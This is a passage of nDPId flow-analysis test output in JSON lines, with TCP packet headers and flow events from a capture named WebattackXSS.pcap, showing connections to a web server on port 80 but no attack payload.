+00432{"flow_id":240,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3406,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347376,"pkt_ts_usec":639848,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EqhAAD4GszCsEAABwKgKMtzYAFCvXmXtVshOzYAQAOWhtwAAAQEICgE6d0sD5EjB"} +00433{"flow_id":237,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3410,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347376,"pkt_ts_usec":718716,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jihAAD4GN7CsEAABwKgKMtyiAFAEW\/xHwamh6oARAOX9bQAAAQEICgE6d18D5EPW"} +00432{"flow_id":237,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3411,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347376,"pkt_ts_usec":718878,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA06T9AAEAG2pjAqAoyrBAAAQBQ3KLBqaHqBFv8SIARAOP4bwAAAQEICgPkSNUBOndf"} +00433{"flow_id":237,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3412,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347376,"pkt_ts_usec":719525,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jilAAD4GN6+sEAABwKgKMtyiAFAEW\/xIwamh64AQAOX4bQAAAQEICgE6d18D5EjV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3422,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1499347379171,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56562,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":241,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3422,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347379,"pkt_ts_usec":171623,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NzVAAD4GjpusEAABwKgKMtzyAFA14k7xAAAAAKACchCB7wAAAgQFtAQCCAoBOnnEAAAAAAEDAwc="} +00444{"flow_id":241,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3423,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347379,"pkt_ts_usec":171726,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3PK2Txs5NeJO8qAScSBiJwAAAgQFtAQCCAoD5Es6ATp5xAEDAwc="} +00432{"flow_id":241,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3424,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347379,"pkt_ts_usec":172259,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NzZAAD4GjqKsEAABwKgKMtzyAFA14k7ytk8bOoAQAOUBLwAAAQEICgE6ecQD5Es6"} +00432{"flow_id":238,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3428,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347379,"pkt_ts_usec":719165,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Dk1AAD4Gt4usEAABwKgKMty8AFAnfHqTR3hSgIARAOUgHAAAAQEICgE6ek0D5EZP"} +00432{"flow_id":238,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3429,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347379,"pkt_ts_usec":719381,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0GUNAAEAGqpXAqAoyrBAAAQBQ3LxHeFKAJ3x6lIARAOMaqQAAAQEICgPkS8MBOnpN"} +00432{"flow_id":238,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3430,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347379,"pkt_ts_usec":720186,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Dk5AAD4Gt4qsEAABwKgKMty8AFAnfHqUR3hSgYAQAOUapwAAAQEICgE6ek0D5EvD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3434,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1499347380424,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56576,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":242,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3434,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347380,"pkt_ts_usec":424143,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8PTxAAD4GiJSsEAABwKgKMt0AAFCXo0fBAAAAAKACchAmFwAAAgQFtAQCCAoBOnr9AAAAAAEDAwc="} +00445{"flow_id":242,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3435,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347380,"pkt_ts_usec":424268,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3QDrAYLNl6NHwqAScSBozwAAAgQFtAQCCAoD5ExzATp6\/QEDAwc="} +00432{"flow_id":242,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3436,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347380,"pkt_ts_usec":425016,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PT1AAD4GiJusEAABwKgKMt0AAFCXo0fC6wGCzoAQAOUH1wAAAQEICgE6ev0D5Exz"} +00432{"flow_id":239,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3440,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347380,"pkt_ts_usec":719606,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VfpAAD4Gb96sEAABwKgKMtzKAFDNpCPrl+XcRoARAOX0JgAAAQEICgE6e0cD5EeI"} +00432{"flow_id":239,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3441,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347380,"pkt_ts_usec":719830,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0kPtAAEAGMt3AqAoyrBAAAQBQ3MqX5dxGzaQj7IARAOPu8gAAAQEICgPkTL0BOntH"} +00432{"flow_id":239,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3442,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347380,"pkt_ts_usec":720368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VftAAD4Gb92sEAABwKgKMtzKAFDNpCPsl+XcR4AQAOXu8AAAAQEICgE6e0cD5Ey9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3446,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1499347381694,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56590,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":243,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3446,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347381,"pkt_ts_usec":694081,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Vu9AAD4GbuGsEAABwKgKMt0OAFBD4SrUAAAAAKACchCVegAAAgQFtAQCCAoBOnw7AAAAAAEDAwc="} +00444{"flow_id":243,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3447,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347381,"pkt_ts_usec":694199,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3Q7aUZP1Q+Eq1aAScSDWfAAAAgQFtAQCCAoD5E2xATp8OwEDAwc="} +00432{"flow_id":243,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3448,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347381,"pkt_ts_usec":694990,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VvBAAD4GbuisEAABwKgKMt0OAFBD4SrV2lGT9oAQAOV1hAAAAQEICgE6fDsD5E2x"} +00432{"flow_id":240,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3452,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347381,"pkt_ts_usec":719875,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EqlAAD4Gsy+sEAABwKgKMtzYAFCvXmXtVshOzYARAOWcwAAAAQEICgE6fEED5EjB"} +00432{"flow_id":240,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3453,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347381,"pkt_ts_usec":720090,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0A3pAAEAGwF7AqAoyrBAAAQBQ3NhWyE7Nr15l7oARAOOXywAAAQEICgPkTbcBOnxB"} +00432{"flow_id":240,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3454,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347381,"pkt_ts_usec":720785,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EqpAAD4Gsy6sEAABwKgKMtzYAFCvXmXuVshOzoAQAOWXyQAAAQEICgE6fEED5E23"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3464,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1499347384186,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56616,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":244,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3464,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347384,"pkt_ts_usec":186315,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8bHdAAD4GWVmsEAABwKgKMt0oAFALKxLdAAAAAKACchDjngAAAgQFtAQCCAoBOn6qAAAAAAEDAwc="} +00444{"flow_id":244,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3465,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347384,"pkt_ts_usec":186470,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3Sg6aAAMCysS3qAScSBWBQAAAgQFtAQCCAoD5FAgATp+qgEDAwc="} +00432{"flow_id":244,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3466,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347384,"pkt_ts_usec":187181,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bHhAAD4GWWCsEAABwKgKMt0oAFALKxLeOmgADYAQAOX1DAAAAQEICgE6fqoD5FAg"} +00432{"flow_id":241,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3470,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347384,"pkt_ts_usec":721017,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NzdAAD4GjqGsEAABwKgKMtzyAFA14k7ytk8bOoARAOX7wgAAAQEICgE6fy8D5Es6"} +00432{"flow_id":241,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3471,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347384,"pkt_ts_usec":721237,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0S59AAEAGeDnAqAoyrBAAAQBQ3PK2Txs6NeJO84ARAOP2WAAAAQEICgPkUKUBOn8v"} +00432{"flow_id":241,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3472,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347384,"pkt_ts_usec":721977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NzhAAD4GjqCsEAABwKgKMtzyAFA14k7ztk8bO4AQAOX2VQAAAQEICgE6fzAD5FCl"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":6,"flow_first_seen":1499347310567,"flow_last_seen":1499347315705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55834,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":6,"flow_first_seen":1499347310567,"flow_last_seen":1499347315705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55834,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":6,"flow_first_seen":1499347313106,"flow_last_seen":1499347318705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55860,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":6,"flow_first_seen":1499347313106,"flow_last_seen":1499347318705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55860,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":6,"flow_first_seen":1499347314358,"flow_last_seen":1499347319705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55874,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":6,"flow_first_seen":1499347314358,"flow_last_seen":1499347319705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55874,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":6,"flow_first_seen":1499347315631,"flow_last_seen":1499347320705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55888,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":6,"flow_first_seen":1499347315631,"flow_last_seen":1499347320705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55888,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":6,"flow_first_seen":1499347318180,"flow_last_seen":1499347323705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55914,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":6,"flow_first_seen":1499347318180,"flow_last_seen":1499347323705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55914,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":6,"flow_first_seen":1499347319466,"flow_last_seen":1499347324705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55928,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3473,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":6,"flow_first_seen":1499347319466,"flow_last_seen":1499347324705,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55928,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3476,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1499347385481,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56630,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":245,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3476,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347385,"pkt_ts_usec":481030,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VSxAAD4GcKSsEAABwKgKMt02AFBQ3SrBAAAAAKACchCEtwAAAgQFtAQCCAoBOn\/tAAAAAAEDAwc="} +00445{"flow_id":245,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3477,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347385,"pkt_ts_usec":481162,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3TZsZa1KUN0qwqAScSAWnwAAAgQFtAQCCAoD5FFjATp\/7QEDAwc="} +00432{"flow_id":245,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3478,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347385,"pkt_ts_usec":481912,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VS1AAD4GcKusEAABwKgKMt02AFBQ3SrCbGWtS4AQAOW1pQAAAQEICgE6f+4D5FFj"} +00432{"flow_id":242,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3483,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347385,"pkt_ts_usec":721570,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PT5AAD4GiJqsEAABwKgKMt0AAFCXo0fC6wGCzoARAOUCqQAAAQEICgE6gCoD5Exz"} +00432{"flow_id":242,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3484,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347385,"pkt_ts_usec":721798,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA001FAAEAG8IbAqAoyrBAAAQBQ3QDrAYLOl6NHw4ARAOP9fQAAAQEICgPkUZ8BOoAq"} +00432{"flow_id":242,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3485,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347385,"pkt_ts_usec":722346,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PT9AAD4GiJmsEAABwKgKMt0AAFCXo0fD6wGCz4AQAOX9ewAAAQEICgE6gCoD5FGf"} 